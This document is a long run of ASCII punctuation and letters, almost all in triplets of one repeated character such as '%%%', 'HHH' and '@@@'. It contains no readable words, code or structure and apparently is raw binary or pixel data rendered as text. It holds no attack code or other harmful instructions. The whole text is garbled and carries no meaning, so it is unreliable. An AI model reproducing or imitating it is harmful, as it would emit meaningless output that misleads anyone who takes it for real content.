%%%,,,000444777777444444,,,&&&)))------222:::HHHOOONNNLLLLLLMMMGGGAAA@@@:::000,,,888???BBBBBB===///&&&"""  ,,,666333888222)))%%%111???BBBBBB===     %%%,,,000444777777444444,,,&&&)))---cccddd___999888222)))%%%111???BBBBBB===///;;;???CCCHHHLLLLLLOOO222:::666///333444222000---...111...--- @@@BBB@@@CCCFFFDDD>>>===%%%,,,000444444:::999555222---444111+++***///---'''&&&,,,bbbiiiiiimmmooo>>>@@@???===;;;777000++++++666@@@AAA%%%333---222666---///555555444999<<<666222777BBBIIIPPPVVVUUUQQQ222---444111+++***///---'''&&&,,,666>>>WWW[[[]]]WWWYYYXXXVVVTTTOOOIIICCCCCCNNNXXXXXXPPPJJJCCC---***"""$$$((( ***555555777666444***///***,,,///+++000666999555111111### %%%***---222444333111000..."""$$$    )))$$$ &&&,,,444:::999555222---444111+++***///---'''&&&555>>>FFFFFFIIILLLFFFHHHGGGEEECCC>>>888++++++666@@@AAA999222,,,---***"""$$$...&&&000555555 ;;;777000++++++666@@@AAA999   )))&&&,,,444:::999555222---444111+++***///---'''bbb]]]___???===;;;777000++++++666@@@AAA999DDDIIILLLHHHGGGGGG@@@@@@;;;333......EEESSSOOO>>>000666333222DDDDDDCCCIIILLLFFFCCCGGG&&&,,,444:::999777;;;<<<999///&&&(((''')))---111...***&&&'''[[[jjjllljjjhhh;;;>>>======111000444$$$)))...///%%%;;;???VVVVVV<<<;;;===:::??????555111???CCCKKKMMMSSSWWWXXX999///&&&(((''')))---111...***&&&'''///???ZZZXXXVVVTTTWWWVVVVVVJJJIIIMMM;;;666AAAEEEGGGQQQSSSMMMMMM111,,,---111---666999111444;;;333 111///,,,---***///666777000555'''***### !!!######%%%///555<<>>555...******...+++%%%)))...999DDDTTT___MMM===333------000+++(((333@@@LLLOOOWWW]]]BBB===222---))) +++111111///QQQ\\\```bbbbbbYYYXXXWWWNNNFFFBBBBBBFFFCCC<<<@@@NNNGGGFFFJJJ444,,,$$$(((999888000...+++"""---333111...///***...333333000111!!!%%%%%%333555888CCC888999888555222333222''' """---333666<<<===))) &&&666AAA/// $$$///333;;;AAABBB===222---))) '''444:::;;;888???LLLOOOQQQQQQHHHGGGFFF===...******...+++%%%)))666//////333444333+++...???888000... """---333666<<<===)))...******...+++%%%)))666///''' """---333666AAA/// $$$///333;;;AAABBB===222---))) +++ggg___???>>>555...******...+++%%%)))666//////333UUUNNNAAA@@@===>>>999===CCCCCC@@@AAA>>>;;;;;;FFFIII>>>444...+++***,,,000222999HHHKKKMMMXXX___```___]]]YYYZZZZZZOOO===//////111///666LLLWWW]]]```fffgggTTT???888;;;FFF&&&666AAA///BBB<<<<<<@@@;;;888CCCQQQ]]]333;;;AAABBB///111222000...111"""+++///---WWWWWWaaadddeee999888777777999777111+++ $$$555iiiMMMTTTQQQXXXccc[[[BBB///)))""" !!!'''333666AAAKKK111222000...111"""+++///---***FFFOOORRRSSSSSSQQQPPPPPPRRROOOIIIDDD777;;;MMMWWWOOONNNPPPJJJ111333,,,(((---+++;;;999666222333666///'''))),,,222333...,,,%%%$$$"""%%%333BBB777222+++777:::333,,,))))))///...   )))000...000555222+++'''...555333:::EEE===%%%  %%%///111222000...111"""###'''444999777444555>>>AAABBBAAA@@@??????999777111+++ $$$555???888666999333777999333///---+++&&&###  )))000...000555222+++'''...555111+++ $$$555???888666...   )))000...EEE===%%%  %%%///111222000...111"""+++///XXXWWW777777999777111+++ $$$555???888666999333RRRTTTDDD>>>555777;;;BBBBBB>>>===BBB:::444666BBBJJJBBB:::777555222000111999HHHWWWLLLHHHRRR^^^aaaZZZSSSPPPPPPWWWVVV===444>>>555888888666777EEESSSZZZXXXZZZ___\\\VVVRRRYYYaaa333:::EEE===%%%===888111//////111777DDDGGG%%%///111222  ---)))&&&(((...222444`````````aaa___+++$$$***,,,...222666333RRRXXXllliiiaaa^^^]]]TTTGGG>>>999,,,""" !!!!!!""")))  ---)))&&&(((...222444444NNNNNNOOOMMMDDD<<>><<<444,,,222,,,...222666333(((//////222:::444:::>>><<<222***+++***'''((( !!!$$$***555BBBGGGIIIMMMKKKCCC??????666333(((//////222:::---***'''''' !!!$$$???666***!!!   ---)))&&&(((...222BBB***,,,...222666333(((//////222:::UUUUUUYYYDDD<<<;;;@@@BBBEEEAAA:::888BBBEEEKKKRRRUUUPPPFFFAAA@@@???;;;444555@@@OOO[[[UUUMMMOOOWWWXXXOOOGGGGGGPPPUUUQQQ???BBBOOOOOOAAA999666555444;;;===@@@CCCKKKOOOTTT```mmmrrrtttxxxwwwnnn??????666***!!!HHH;;;111000000111111333:::  777999888///000444555ccceee```ccc___111...,,,***333111000666XXXPPPOOORRRlllSSS;;;000222222222888AAAFFF???;;;***""" 777999888///000444555777SSSNNNQQQMMMJJJGGGEEECCCLLLIIIIIINNNFFF>>>===@@@@@@===CCCLLLMMMIIILLLOOOGGGCCCCCCEEEJJJEEE888888;;;???BBB===777222%%%)))***,,,***???333$$$!!!)))444AAA222333111+++)))***###(((---!!! &&&!!!  %%%+++:::EEEMMMNNN444$$$)))""" ***AAACCCAAA999:::===>>>@@@BBB===@@@<<<:::777,,,***333111000666...&&&%%%))))))&&&+++<<<===999<<<888111,,,---///444  %%%+++:::EEEMMMNNN444666...&&&%%%))))))&&&+++555(((---!!! &&&!!!  $$$)))"""  777999888///000444555MMM,,,***333111000666...&&&%%%))))))&&&+++VVVWWWTTTEEEHHHMMMPPPLLLFFFBBB<<<999>>>IIIMMMNNNQQQOOOPPPFFF777333000222===HHHUUUYYYZZZWWWRRRPPPPPPKKKAAAAAAOOOUUUIII;;;HHHOOOIIICCC<<<333000444666999>>>???CCCIIIOOOVVVdddpppxxxyyy```HHHPPPVVVNNNKKK:::///000333111333111;;;///(((OOOQQQRRRQQQNNN'''888444111777<<<;;;gggddd```]]]ZZZIII,,,&&&$$$)))---222000''')))666>>>444000!!!111;;;///(((<<>>777:::===DDDFFFDDDAAA@@@AAA???<<<:::999555***)))...000000...!!!''',,,---!!!333444(((###111???:::777555222---***+++***&&&((('''   ###???KKKNNNJJJ???***   """!!!<<>>999===AAAAAA>>><<<555111111...666MMMjjjuuuxxxuuujjjUUU999333  888EEEOOODDD@@@IIIOOO???222===  """LLLWWWPPPGGGFFF$$$,,,///,,,333999gggddd\\\\\\ZZZQQQ;;;??????<<>>555444===FFFHHHEEELLLRRRUUURRRKKKJJJIII???......:::AAAAAA@@@??????===???===888888<<<:::+++---666333,,,%%%$$$((()))333***---%%%"""!!!(((%%% !!!===NNNQQQKKK888%%%!!!!!!%%%(((&&& 777111,,,  !!!))),,,### ###$$$)))555...%%%###$$$,,,///,,,333999<<<:::222222111'''+++222222111((()))''')))(((###### !!!===NNNQQQKKK888%%%!!!!!!%%%(((&&& 222222111'''###::::::%%% !!!===%%%(((&&& 777111,,,   """KKK///,,,333999<<<:::222222111'''###KKKKKKKKK999;;;EEEBBB;;;555666<<>>>>>???999...---   999MMMSSSNNN222***---222555<<<555###000:::<<<333###(((%%%$$$+++ $$$---000777<<<;;;222******,,,(((---777999===777((("""  999MMMSSSNNN222***---222555<<<555###000:::<<<999;;;777555???AAAEEE???888$$$  999MMM555<<<555###000:::<<<333### BBB---000777<<<;;;222******,,,(((&&&///SSSVVVQQQIIIKKKLLLFFF===<<<;;;AAACCCBBBDDD<<<000333>>>???DDDEEEGGGIIIIIIHHHIIINNNNNNFFFIIIGGG@@@>>>DDDIIIJJJHHHEEEEEEEEEFFFIIIMMMFFF;;;555///---,,,000111333:::cccwww}}}xxx]]]JJJCCCAAAVVVYYY]]]555<<<555###FFF???BBB]]]hhhiiiaaaQQQ___KKK###    ///111===LLLOOO )))111___gggdddTTTMMMNNNOOOOOO %%% &&&>>>EEE111###    $$$,,,:::===999222AAAJJJMMMUUURRRCCC;;;<<<<<<===UUU___UUUGGGGGGDDDAAA,,,)))""" )))222111555:::===000,,,  CCCPPPSSSHHH### %%% &&&>>>EEE111((('''...!!!&&&!!! !!!$$$ )))111444<<<:::***###$$$%%%...EEEOOOEEE888888---*** ###  CCCPPPSSSHHH### %%% &&&>>>EEE111333333555LLLWWWLLL@@@@@@===:::###  CCCPPP %%% &&&>>>EEE111###    )))111444<<<:::***###$$$%%%&&&===HHH^^^QQQQQQOOOHHHJJJ>>>;;;AAACCCEEEFFFBBB;;;666,,,+++555???DDDJJJLLLJJJKKKGGG<<<===EEEFFFLLLMMMBBB777>>>GGGGGGAAAFFFEEE999222999HHHLLLCCC666222000...---,,,333FFFmmm{{{}}}rrrNNN???<<<<<>>999@@@@@@///(((,,,//////++++++444999777:::666 ***HHHIII999&&&  !!!(((+++###999XXXOOO:::)))$$$(((***   $$$333...)))******,,,$$$ ***HHHIII999&&&   !!!(((+++###999MMMDDD...!!!###+++:::666111999999)))!!!$$$ ***HHHIII  !!!(((+++###999MMMDDD...     IIIfff{{{DDD...VVV___ddd222  ;;;000---///222 333222000333666===FFFIIIGGGEEE  ***000)))  (((111666222  ---++++++*** %%%&&&""" !!!$$$+++444777555333===@@@888777444999777///)))+++---...222555BBB...   ***000)))  333===AAA>>>+++""""""  %%%'''%%%###...111)))'''###!!!111///+++&&& 888BBB...   ***000)))  (((111666222 ***555888111///---222111)))###+++&&& 888BBB... ***000)))  (((111666222   ;;;BBB(((111666>>>999JJJ...---   ......------......222222555888>>>@@@DDDGGGBBB ///333  ...--- $$$...000,,,'''%%%!!! ###''',,,...222555000---000000222;;;CCC===555,,,'''(((,,,333""" ///333 ''')))''''''999999'''  """%%%!!!!!!!!!$$$,,,&&&(((,,,'''###%%%###,,,BBB/// ///333  ...---  ((($$$((((((***444<<<666...%%%!!!###,,,BBB/// ///333  ...---    KKKIII ???333444===   ---------,,,---,,,---222999???CCC===333888;;;666 ,,,+++ ;;;===***---%%%***### !!!&&&)))###&&&000<<<111&&&###!!! 555AAA  ,,,+++ ///111!!!   %%%555999333+++!!!!!!&&&   555AAA,,,+++ ///111!!!    LLLOOO===@@@999666  ------------------,,,,,,///555999999888999444555<<<  %%%)))$$$ 000:::777 """  $$$ !!!&&&%%%+++$$$""""""'''(((  %%%)))$$$ $$$...***   )))"""$$$)))""" '''///&&&  ###$$$""""""'''((( %%%)))$$$ $$$...***       ===333 EEEMMMLLLHHHFFF111---------------------///000555999@@@MMMIIIEEEAAA###+++!!!---555...###+++999666!!!"""***)))&&&### ,,,'''###  &&&***000...---$$$ ###+++!!!---555...---***%%%)))!!!!!!"""!!!(((******///111+++(((...111--- """(((&&&$$$$$$ +++!!!---555...---***  ###CCC666KKKSSSYYYVVV@@@FFF 222------------,,,,,,,,,,,,---444???HHHRRRWWWTTTLLL)))$$$222GGG;;;,,,###...@@@999---)))000666333  &&&111666333+++ &&&(((!!!!!!)))+++((()))$$$222:::... !!!333,,,!!!$$$***((( ###&&&666999222///,,,)))&&&$$$***222>>><<>>:::777777999555---111"""!!!!!!### $$$222:::... !!!333,,,!!!$$$***(((   (((---***NNN>>>$$$***SSSVVVSSSOOO===??? ---### ...------------,,,,,,,,,,,,---222<<>>)))'''666DDDBBB@@@&&&000333000,,, ---###  """)))222999888,,,&&&%%%###&&&,,,((("""  $$$%%%'''###&&&...&&&333<<<111)))777666444$$$'''%%%!!! ---### 555+++$$$333666===999333000(((+++111444>>>DDDDDDBBB???666000///111444???CCC<<<;;;AAA>>>666444<<<<<<===$$$%%%'''###&&&333<<<111)))777666444$$$'''%%%!!! ---###   )))000...,,,&&&FFF===///555DDDGGGNNNJJJDDDBBB:::===CCCEEEOOOUUUUUUTTTPPPNNNNNNPPPNNNKKKJJJNNNIIIIIIKKKHHHBBBAAACCCFFFPPPUUUNNNLLLRRROOOHHHFFFNNNNNNOOOOOOBBB888;;;@@@;;;777666===MMMOOOPPPMMMBBB222++++++,,,,,,,,,,,,,,,IIIGGGVVVeeecccaaaHHH$$$'''%%%XXXaaa^^^[[[NNNBBB777:::222000------------///666>>>IIIIIIKKKSSSYYY\\\ """(((111--- CCCEEE@@@:::000FFFOOOMMMIII<<<000///444000333...!!!!!!&&&(((!!!%%%,,,777777888AAAHHHJJJJJJBBB===666???:::"""***222444000***555???000,,,   (((''')))222999;;;222***%%%'''%%%$$$!!!!!!&&&!!!!!!$$$"""   """(((111--- &&&(((###)))222000,,,  777555444111111666111......///333555???===999888777666;;;@@@AAA===666666666555777888444***(((,,,222CCCMMMNNNJJJJJJFFFEEEHHHEEE888777 (((111--- &&&(((###)))222000,,,    )))///222222***%%%HHHFFFEEECCCCCCGGGCCC??????AAADDDFFFPPPOOOJJJIIIIIIHHHLLLQQQRRRNNNHHHHHHHHHFFFIIIJJJFFF<<<:::>>>DDDTTT^^^```\\\[[[WWWVVVZZZWWWJJJIIIJJJ???999000***,,,444999:::777333999@@@999...+++,,,,,,,,,,,,---,,,999KKKSSSUUUQQQKKK)))222000RRR\\\WWWQQQWWWMMMIII%%%111***222111444555111......///222DDDPPPWWWYYYQQQLLLMMMNNN$$$'''(((!!!---+++ """MMMTTT999,,,111@@@IIIEEE???EEE;;;777AAALLLEEE:::---""" """### !!!222===FFFHHH???:::;;;<<<===>>>888###///===CCC((( 000---)))###))) %%%111*** """...777999000+++,,,$$$%%%''')))###"""'''+++)))+++"""  $$$'''(((!!!---+++ """000666$$$---)))###))) %%%111*** 333&&&))))))$$$'''...333888<<<;;;===<<<:::555666555555:::<<<===<<<888666888///444999;;;777444666<<<===CCCLLLPPPKKKIIIDDD>>>@@@;;;!!!---+++ """000666$$$---)))###))) %%%111***%%%---///&&&"""###$$$%%%''')))DDD888::::::555999???DDDIIINNNLLLNNNMMMKKKFFFGGGGGGGGGKKKNNNNNNMMMIIIHHHJJJAAAFFFKKKLLLHHHFFFHHHMMMOOOUUU]]]aaa]]]ZZZUUUPPPQQQMMMGGGGGGJJJDDD444+++---666???<<>>###666:::///???666666888333...222999666NNNXXX[[[ZZZZZZUUUWWW___+++'''000&&& $$$JJJHHH---+++<<>>RRRUUUJJJ444+++,,,---$$$%%%&&&!!! '''%%%<<>><<>>@@@??????===>>>:::777999DDDFFFBBB<<<888999999 '''000&&& $$$,,,+++ ---,,,$$$ ###666:::/// +++---000000///+++---555666111,,,HHH<<<<<<:::444555>>>HHHMMMQQQPPPSSSSSSIIIFFFIIIHHHJJJMMMQQQRRROOONNNTTTRRRCCCJJJPPPQQQQQQPPPNNNOOOLLLIIIJJJUUUWWWSSSNNNJJJKKKJJJCCCDDDOOOPPP<<<...222;;;>>>777222444...,,,++++++++++++,,,,,,---------???QQQZZZYYY=== ---,,,$$$111aaa]]]YYYJJJ:::;;; )))666&&&@@@;;;222///...---333===888PPPXXXUUUUUUbbbYYYVVVbbb!!! ###///%%% &&&HHH;;;***000>>>NNNOOOKKKGGG888((()))"""%%%555DDDRRR@@@666000///*** """,,,'''>>>GGGCCCCCCQQQHHHDDDPPP"""333888+++!!!111222///+++  )))666&&&  ///888444444AAA999,,,888===777(((###$$$///666999888555(((***   !!! ###///%%% &&&*** !!!111222///+++  )))666&&& %%%)))%%%,,,555AAAHHHKKKJJJGGGEEE999///---...---222;;;AAAAAA999<<<:::222:::CCCBBB:::<<<<<<;;;;;;222---<<>>DDDLLLRRRRRRJJJNNNKKKCCCLLLTTTSSSLLLNNNMMMMMMLLLDDD>>>MMMZZZZZZTTTNNNGGGEEEGGGDDDOOORRR@@@111333999777333555666...+++,,,,,,+++,,,,,,,,,---------BBBSSSXXXLLL:::!!!111222///+++RRRSSSRRR<<<:::;;; $$$333EEE888"""GGGBBB333555777///000333777CCCGGGGGGKKKPPPOOOSSS]]] &&&'''LLL666///EEEMMMHHH@@@AAA@@@+++(((***&&&***,,,???NNN___SSS===555111"""$$$%%%!!!%%%222555555999>>>===AAA!!!444<<<)))000+++###%%%$$$  $$$333PPPCCC---%%%!!!"""&&&'''***///%%%)))333???:::000111,,,(((+++......------777999***)))$$$    &&&)))000+++###%%%$$$  $$$333EEE888"""  ,,,000555444<<>>>>>999222222333555===777......333;;;888---000999===:::333***,,,---222999???AAA &&&'''...)))000+++###%%%$$$  $$$333EEE888"""(((<<<===AAAEEEEEEIIITTT```:::000111MMMJJJ;;;@@@MMMPPPPPPPPPPPPQQQSSSMMMMMMOOOOOOJJJCCCDDDEEEFFFNNNIII??????EEELLLJJJ???BBBJJJNNNLLLEEE<<<===???DDDKKKPPPSSSRRRRRRPPPDDDAAAEEEMMMEEE888666<<<@@@CCCFFF;;;666222---,,,,,,,,,,,,,,,,,,---AAATTT\\\FFF???)))000+++###%%%!!!OOOUUUQQQ666888@@@"""***$$$;;;FFF???[[[GGG<<<:::===;;;777444444555;;;@@@CCCGGGLLLSSSXXX %%%111III...777HHHFFF>>>===CCC???%%%&&&...>>>EEE888666???WWW```ZZZJJJ555***(((,,,***&&&#########***///111555:::>>>,,,+++)))!!!!!!'''### """***000FFFQQQJJJ:::&&&"""&&&!!!)))...000///222111222000(((%%%***...666222666444000(((,,,((( !!!&&&$$$***,,,,,,!!!    %%% """***$$$;;;FFF???/// $$$(((,,,111999***...>>>:::>>><<<::::::<<<===;;;:::<<<444------333888333,,,000333222,,,,,,000444 %%%111,,,+++)))!!!!!!'''### """***$$$;;;FFF???///000666999===BBBJJJOOOQQQPPPSSSRRRTTTRRRJJJFFFLLLQQQOOOKKKOOOMMMJJJKKKMMMNNNLLLKKKMMMFFF??????EEEIIIDDD===BBBEEECCC>>>>>>AAAEEEHHHEEEAAACCCCCCBBBHHHOOORRRTTTPPPEEE777222777JJJNNNEEEDDDMMMTTTVVVVVVKKK999555000,,,,,,,,,,,,,,,,,,///JJJ^^^ZZZ>>>GGG+++)))!!!!!!'''---[[[QQQEEE888@@@TTT666------ +++@@@PPP}}}kkkWWWHHHEEEIIIEEE<<<555...000222555FFFKKKKKKLLL%%% &&&  !!!%%%;;;222>>>@@@DDDJJJIII???333'''...BBBRRRIIIIII;;;666GGG[[[jjjkkkZZZEEE666333777333+++$$$!!!$$$444!!!###(((---,,,### &&&666------+++&&&777KKK[[[[[[JJJ666'''###((($$$ !!!"""...000---///,,,###(((111///...++++++000+++%%% &&&!!!***000+++   &&&666------ +++@@@PPPPPP???*** +++000111(((&&&666444444,,,///222888:::;;;===666//////000000000+++!!!%%%++++++,,,///333 &&&  !!!%%%!!!###(((---,,,### &&&666------ +++@@@PPPPPP???***%%%(((+++<<>>???OOORRROOOQQQNNNEEEJJJJJJHHHGGGEEEEEE===AAADDDIIIKKKLLLNNNGGGAAA@@@AAABBBBBB<<<333666<<<===>>>AAADDDDDDBBBFFFHHHGGGHHHLLLRRRWWWSSSMMMBBB555666===GGGNNNJJJGGGDDDFFFTTTYYYUUU@@@888>>>444---,,,---,,,---222NNNSSSKKKBBB!!!###(((---,,,###...YYYLLL;;;<<>><<<:::000333???IIIJJJIIIIIIIIIJJJGGGDDDGGGJJJ***,,,***###CCC???===DDD%%%,,,222000!!! """"""%%%%%%"""!!!'''(((///$$$???IIILLLUUUKKKGGG:::)))+++666HHHEEEBBB@@@555444555GGGaaannnsssiiiZZZLLLAAACCC999111$$$ ###'''"""+++///888...*** ,,,***&&&000%%%$$$%%%888QQQ___cccZZZKKK===222444***!!! '''%%%###$$$***...222//////222555999000+++,,,)))%%%***### """%%%,,,222000!!!&&&%%%,,,FFFTTTXXXOOO@@@111(((***  000666555333444"""### ...,,,***---888<<<===777000///000,,,,,,)))'''"""...777:::999999!!! (((///$$$"""+++///888...*** ,,,***&&&%%%,,,FFFTTTXXXOOO@@@'''***...@@@GGGFFFDDDEEELLLOOOTTTQQQQQQTTTWWWRRRIIIDDDFFFCCC???>>>;;;???IIIMMMNNNHHHBBB@@@AAA>>>===;;;999///333???IIIKKKKKKKKKJJJLLLIIIFFFJJJMMMQQQTTTQQQFFFCCCFFFKKKIIIEEECCCKKKNNNHHH@@@EEEVVV[[[ZZZKKK999<<<666000...---------000\\\RRRKKK"""+++///888...***---RRRAAA;;;LLLQQQWWW###%%% ccc{{{jjjbbbSSSFFFBBBBBBDDDLLLPPPIIIAAABBBIIIHHHGGGMMMYYYXXXSSSPPPRRRNNNEEEBBBBBBFFFPPPHHHGGGHHHLLLHHHAAA<<<;;;<<<@@@AAABBBFFF[[[VVVLLLMMMKKKHHHDDDFFFGGGHHHAAA@@@III---(((BBBNNNCCC111(((111$$$(((+++%%%"""!!!!!!!!! !!!"""  ///LLLMMM^^^UUUJJJ@@@///***:::???EEE>>>AAA000"""%%%,,,...:::RRRiiisssuuummmYYYPPPAAA444000111222:::...///AAA777---$$$ ###)))###111 +++BBBZZZdddfff^^^IIIAAA222%%%!!!"""###!!!&&&###//////444000333///&&&######'''((( (((+++ $$$(((+++%%% 777OOOXXX[[[SSS>>>666(((111555///'''(((///(((222222333777444---(((((()))---...000444JJJEEE;;;<<<:::777444%%% ///...///AAA777---$$$ ###)))###%%% 777OOOXXX[[[888999AAAFFF@@@888999AAA@@@???EEEQQQQQQLLLIIIKKKHHH@@@======((( CCCEEEHHHEEE>>>:::999:::>>>@@@AAAFFF[[[VVVLLLMMMKKKIIIFFFHHHIIIJJJDDDCCCLLLTTTOOODDD>>>???GGGSSSIII666...777@@@CCCEEEHHHMMMQQQUUUOOO:::222000000///...---,,,,,,\\\MMMEEE...///AAA777---$$$)))KKK;;;AAASSSTTT\\\///  OOOooosss\\\SSSOOOIIICCCCCC@@@BBBEEEDDD???>>>???>>>HHHOOOOOOHHHGGGLLLLLLCCC===CCCGGGJJJJJJDDDBBBBBBAAA===;;;:::999:::@@@IIIMMMLLLJJJKKKJJJ???888>>>HHHJJJHHHCCC"""&&&$$$!!!!!!<<<<<<888000***,,,  $$$&&&$$$ !!!"""!!!!!!!!!!!! )))(((JJJGGGQQQEEEEEE999)))000AAABBBJJJKKK;;;''' $$$)))&&&+++===^^^mmmsssuuuqqqaaaKKKAAA>>>777222***444((())) %%%&&&...;;;,,,...NNN^^^dddfffbbbRRR<<<222///))))))///000)))'''------$$$$$$"""&&&$$$!!!!!!   $$$&&&$$$  ###CCCSSSYYYZZZWWWGGG111'''$$$(((&&&(((******&&&%%%""""""///---------)))''''''&&&'''---777<<<;;;999;;;:::...((($$$  )))(((,,,***444((())) %%%&&&...///  ###CCCSSSYYY999999777999;;;;;;777666777666AAAGGGHHHBBB@@@EEEFFF>>>"""""">>>;;;888888777888???HHHMMMLLLJJJLLLKKK@@@:::???JJJMMMJJJFFFIIINNNKKKHHHIIIGGGAAAAAA===666000333333444===DDDIIIMMMPPPNNNBBB;;;555222000///---,,,---UUUBBB,,,***444((())) ======HHHNNN]]]aaa((("""SSS\\\rrr}}}wwweeeZZZQQQFFF999:::???<<<888===@@@<<<<<<;;;@@@GGGGGGFFFCCCDDDCCC:::333888???CCCAAACCCCCC???@@@AAA???@@@BBB@@@DDDMMMPPPOOOLLLJJJIIIDDD>>>FFF$$$&&&###!!!""""""@@@>>>EEEHHH===666 """!!!!!!!!!!!!###))) 555 JJJLLLEEE@@@999,,,,,,666<<>><<<:::999444  555 ,,,...(((### ///333(((###777FFFQQQRRRdddZZZ ...444XXX[[[dddrrrzzzwwweeelllkkkVVV>>>888777444111333555333:::FFFAAA;;;AAABBB>>>>>>===777111777@@@LLLLLLNNNJJJLLLJJJEEEAAACCCHHHJJJ???KKKRRRMMMJJJNNN***'''!!! %%%((( 999;;;>>>EEEDDD@@@!!!  """!!!!!! '''%%% 000 AAAJJJAAA???---&&&444???@@@RRRHHH<<<"""###+++)))333IIIPPPGGGJJJRRR```hhhooooooeeeTTT[[[ZZZ$$$""" ###$$$666888,,,$$$:::@@@888;;;CCCRRRZZZ``````VVVEEEAAA@@@+++  '''!!!"""###   %%%((( """!!!!!! FFFNNNTTTTTTKKK:::AAA@@@+++$$$%%%'''###888666111...000555777---:::@@@<<<:::===>>><<<  000 $$$---$$$""" ###$$$666+++$$$""" ???MMMSSS^^^^^^MMM  ,,,+++UUU[[[WWWPPP[[[kkkxxx}}}}}}sssyyyxxxZZZ>>>999;;;;;;888111444:::FFFDDD888888EEEGGGDDDEEESSS___RRRLLLJJJMMMHHHHHHHHHIIIEEE>>>>>>CCCDDDIIIJJJ%%%&&&!!! ### )))!!!555222:::BBBEEEAAA***(((&&&,,,333--- ######VVVKKK555%%%---;;;AAAMMMLLL;;;***$$$333<<<777HHHFFFCCCIIIEEE>>>JJJZZZfffkkkoookkkaaahhh---$$$000===,,,$$$,,,'''999777444;;;666///;;;KKKWWW]]]```QQQGGGNNNMMM///&&&%%%&&&(((%%%***777***$$$""" )))!!!### ###888LLLQQQUUUQQQGGGNNNMMM///$$$!!!""""""---,,,!!!***$$$"""%%% !!!!!!"""222++++++000111777888:::;;;666,,,444555 ######888---$$$000000--- HHHOOOVVViiiWWW@@@!!!$$$$$$000222bbb]]]AAAFFFOOOWWWiiipppwww|||oooqqqaaaJJJBBBAAA999;;;DDDAAA@@@AAA???:::888888;;;BBBOOONNNMMMJJJMMMHHH===;;;EEEKKKHHHBBB<<<;;; %%%%%%$$$JJJBBBBBBFFFGGGCCC######"""  ###&&&***)))'''(((###+++!!!---GGG333%%%'''666===DDDWWWEEE...$$$...===???@@@LLLNNNQQQLLL000444>>>EEEWWW^^^fffjjj]]] !!!'''GGG666...000000===???BBB===!!!%%%///666HHHPPPLLLQQQDDDFFFTTTWWW666 !!!$$$"""!!!""" '''&&&%%%"""%%%%%%%%%$$$111)))$$$$$$!!!######"""   !!!---*** !!!DDDLLLQQQDDDFFFTTTWWW666000(((''' """+++)))(((((('''###%%%"""%%%!!!$$$!!!///)))(((((()))'''((('''&&&%%%$$$*** +++!!!---*** !!!''':::))) OOOAAAMMMWWWaaadddLLL555 :::===:::dddSSSAAAUUUWWWVVVTTTYYYaaaqqqxxxtttppp}}}rrrSSS>>><<>>HHHOOORRROOOOOOMMMLLLAAACCCHHH###   $$$)))'''!!!$$$%%%$$$$$$MMMKKKIIIKKKJJJFFF  ######""" !!!### ++++++ 333999&&& 000;;;EEEOOOSSS:::$$$''';;;888999VVVYYYVVVSSSBBB///CCCFFFEEEBBBGGGPPP___fff(((@@@CCC++++++)))***FFFJJJFFFCCC333 444777666444---666EEEMMMIIIEEERRRZZZHHH444(((111'''&&&'''!!!'''***(((''')))'''!!!$$$%%%$$$$$$444222'''((('''$$$   333(((222666---666EEEMMMIIIEEERRRZZZHHH999$$$"""...777...,,,...((("""((('''%%%%%%!!!### (((%%%  ++++++ 333(((222666WWWEEENNN\\\gggXXXDDD%%%&&&@@@@@@@@@cccJJJHHHccc___YYYOOOOOOUUUfffvvv}}}iiiiiinnnLLLCCCMMMVVVHHH===FFFIIICCC:::???KKKHHH???PPPQQQNNNOOOPPPQQQKKKDDD !!!&&&'''%%%)))***%%%"""###GGGGGGFFFCCCDDDDDD  $$$"""!!!!!!!!!###)))111&&& ,,,"""333<<>>>>>___jjjNNN,,,$$$...777((('''***""" (((***&&&''''''%%%)))***%%%"""###...///... !!!!!!  &&& ,,,---888***###))):::JJJRRR>>>>>>______CCC222***444===///%%%...111,,,###999:::<<<===###---  111&&& ,,,---888***MMM]]]HHHRRRbbbiiiOOO:::((('''===BBB??????WWWEEE\\\hhhhhhlllmmm```SSSQQQhhhwwwfffjjjwwwSSSNNNTTTUUUGGG===;;;999666<<<>>>@@@LLLLLL&&&&&&BBBDDDFFFJJJDDD%%%$$$!!!###$$$&&&###(((IIIEEEDDDBBB???AAA  $$$ %%%)))%%%!!!"""'''---444333$$$333,,, """'''777@@@QQQWWW===)))***;;;DDDCCCYYY^^^[[[ZZZEEE444KKKWWWVVV[[[[[[NNNBBB@@@###AAAHHH...,,,555444JJJNNNKKKKKK666%%%<<>>FFFBBBBBB111IIIPPPmmmkkkooonnndddiii]]]XXXeeeoooxxxrrryyypppWWWNNNNNN@@@666111///444555666:::555777:::444###!!!###***...,,,)))(((DDD@@@===<<<>>>???  %%%$$$### 555444&&&'''---@@@000 000%%%222<<>>\\\ZZZ^^^]]]SSSWWWLLLGGG>>>HHH;;;!!!)))888===KKKSSSNNNNNN>>>)))///MMMKKKCCCBBB888===222,,,999DDDMMM___SSSZZZjjjfffPPP999///$$$  !!!###***...,,,)))(((+++'''$$$$$$  %%%$$$###000000:::---***999???MMMTTTGGGOOO^^^[[[EEE---555666(((%%%!!!###'''!!!###***------... %%%$$$!!!000 000000:::--- MMM___iiiYYYiiiiiiRRR666???###!!!(((???CCCDDD555LLLcccnnnpppsssnnnhhhbbbLLLQQQdddlllqqqzzz|||~~~jjjRRRJJJBBB<<>>555  %%%  )))###***:::;;;$$$###XXXiiijjjkkkooo\\\DDD555JJJ...111;;;<<<@@@BBB [[[kkkhhhgggcccfffgggUUUBBBWWWmmmpppqqqnnnUUUIIIQQQdddvvvfffRRR ...333111000888&&&******''' &&&+++222111,,,***&&&###!!!222111666999888888 """%%%&&&(((+++)))---===GGG???;;;222%%% ###222 ???YYY]]]JJJ333###888KKKMMMXXXXXX\\\^^^;;;444JJJYYYWWWVVVRRRTTTVVVCCC000FFFJJJNNN;;;###)))<<>>>>>"""%%%&&& ###222 """<<<@@@---...PPPjjjnnn\\\ooodddJJJ777AAA[[[666888<<<<<<;;;###)))kkkfff]]]ZZZYYYbbbXXXFFF^^^ppprrrppp[[[888---,,,,,,777///---333???"""......$$$%%%!!! ### $$$$$$###&&&%%%)))''' 333888222222444333"""***+++((("""***111))))))''''''666999+++""""""(((555""" '''444^^^SSS888&&&000IIISSSUUUXXXXXXWWW???...DDDZZZUUULLLIIIHHHQQQGGG555LLL___NNNDDD))) :::DDDEEEIIIIIIHHH000666KKK999111...---666,,,222EEERRRQQQ<<<  $$$$$$###&&&%%%)))''' ***+++;;;EEEGGGJJJJJJJJJ###)))>>>999###+++666BBBCCC"""***+++((("""*** (((555""" 